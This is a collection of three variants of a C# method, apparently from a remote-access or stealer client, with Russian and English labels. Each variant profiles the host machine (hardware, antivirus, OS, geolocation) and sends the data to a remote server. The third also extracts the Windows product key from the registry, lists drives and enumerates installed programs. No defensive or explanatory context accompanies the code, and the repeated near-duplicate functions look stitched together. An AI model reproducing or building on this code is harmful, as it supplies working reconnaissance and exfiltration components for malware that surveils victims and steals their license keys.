//Gets computer information private void GetComputerInfo() { string ListString = ""; List <string> ComputerInfoList = new List <string>(); try { ComputerInfo.GetGeoInfo(); } catch { } ComputerInfoList.Add("Имя компьютера: " + ComputerInfo.GetName()); ComputerInfoList.Add("ЦП: " + ComputerInfo.GetCPU()); ComputerInfoList.Add("Видеокарта: " + ComputerInfo.GetGPU()); ComputerInfoList.Add("Объём оперативной памяти (Мб): " + ComputerInfo.GetRamAmount()); ComputerInfoList.Add("Антивирус: " + ComputerInfo.GetAntivirus()); ComputerInfoList.Add("Операционная система: " + ComputerInfo.GetWindowsVersion()); ComputerInfoList.Add("Страна: " + ComputerInfo.GetCountry()); ComputerInfoList.Add("Регион: " + ComputerInfo.GetRegionName()); ComputerInfoList.Add("Город: " + ComputerInfo.GetCity()); foreach (string Info in ComputerInfoList.ToArray()) { ListString += "," + Info; } List <byte> ToSend = new List <byte>(); ToSend.Add((int)DataType.InformationType); ToSend.AddRange(Encoding.UTF8.GetBytes(ListString)); Networking.MainClient.Send(ToSend.ToArray()); }
//Gets computer information private void GetComputerInfo() { string ListString = ""; List <string> ComputerInfoList = new List <string>(); try { ComputerInfo.GetGeoInfo(); } catch { } ComputerInfoList.Add("Computer Name: " + ComputerInfo.GetName()); ComputerInfoList.Add("Computer CPU: " + ComputerInfo.GetCPU()); ComputerInfoList.Add("Computer GPU: " + ComputerInfo.GetGPU()); ComputerInfoList.Add("Computer Ram Amount (MB): " + ComputerInfo.GetRamAmount()); ComputerInfoList.Add("Computer Antivirus: " + ComputerInfo.GetAntivirus()); ComputerInfoList.Add("Computer OS: " + ComputerInfo.GetWindowsVersion()); ComputerInfoList.Add("Country: " + ComputerInfo.GeoInfo.Country); ComputerInfoList.Add("Region Name: " + ComputerInfo.GeoInfo.RegionName); ComputerInfoList.Add("City: " + ComputerInfo.GeoInfo.City); foreach (string Info in ComputerInfoList.ToArray()) { ListString += "," + Info; } List <byte> ToSend = new List <byte>(); ToSend.Add((int)DataType.InformationType); ToSend.AddRange(Encoding.ASCII.GetBytes(ListString)); Networking.MainClient.Send(ToSend.ToArray()); }
//Gets computer information private void GetComputerInfo() { RegistryKey key; key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"); string ListString = ""; List <string> ComputerInfoList = new List <string>(); try { ComputerInfo.GetGeoInfo(); } catch { } ComputerInfoList.Add("Computer Name: " + ComputerInfo.GetName()); ComputerInfoList.Add("Computer CPU: " + ComputerInfo.GetCPU()); ComputerInfoList.Add("Computer GPU: " + ComputerInfo.GetGPU()); ComputerInfoList.Add("Computer Ram Amount (MB): " + ComputerInfo.GetRamAmount()); ComputerInfoList.Add("Computer Antivirus: " + ComputerInfo.GetAntivirus()); ComputerInfoList.Add("Computer OS: " + ComputerInfo.GetWindowsVersion()); ComputerInfoList.Add("Ключ активации: " + ComputerInfo.GetWindowsProductKeyFromRegistry()); ComputerInfoList.Add("Country: " + ComputerInfo.GeoInfo.Country); ComputerInfoList.Add("Region Name: " + ComputerInfo.GeoInfo.RegionName); ComputerInfoList.Add("City: " + ComputerInfo.GeoInfo.City); foreach (var drive in DriveInfo.GetDrives()) { try { ComputerInfoList.Add("Имя диска: " + drive.Name); ComputerInfoList.Add("Файловая система: " + drive.DriveFormat); ComputerInfoList.Add("Тип диска: " + drive.DriveType); ComputerInfoList.Add("Объем доступного свободного места (в байтах): " + drive.AvailableFreeSpace); ComputerInfoList.Add("Готов ли диск: " + drive.IsReady); ComputerInfoList.Add("Корневой каталог диска: " + drive.RootDirectory); ComputerInfoList.Add("Общий объем свободного места, доступного на диске (в байтах): " + drive.TotalFreeSpace); ComputerInfoList.Add("Размер диска (в байтах): " + drive.TotalSize); ComputerInfoList.Add("Метка тома диска: " + drive.VolumeLabel); } catch { } } ComputerInfoList.Add("Установленные программы:"); string program = ""; foreach (String keyName in key.GetSubKeyNames()) { RegistryKey subkey = key.OpenSubKey(keyName); program = subkey.GetValue("DisplayName") as string; try { if (program.Length != 0) { ComputerInfoList.Add(program); } } catch { } } foreach (string Info in ComputerInfoList.ToArray()) { ListString += "," + Info; } List <byte> ToSend = new List <byte>(); ToSend.Add((int)DataType.InformationType); ToSend.AddRange(Encoding.UTF8.GetBytes(ListString)); Networking.MainClient.Send(ToSend.ToArray()); }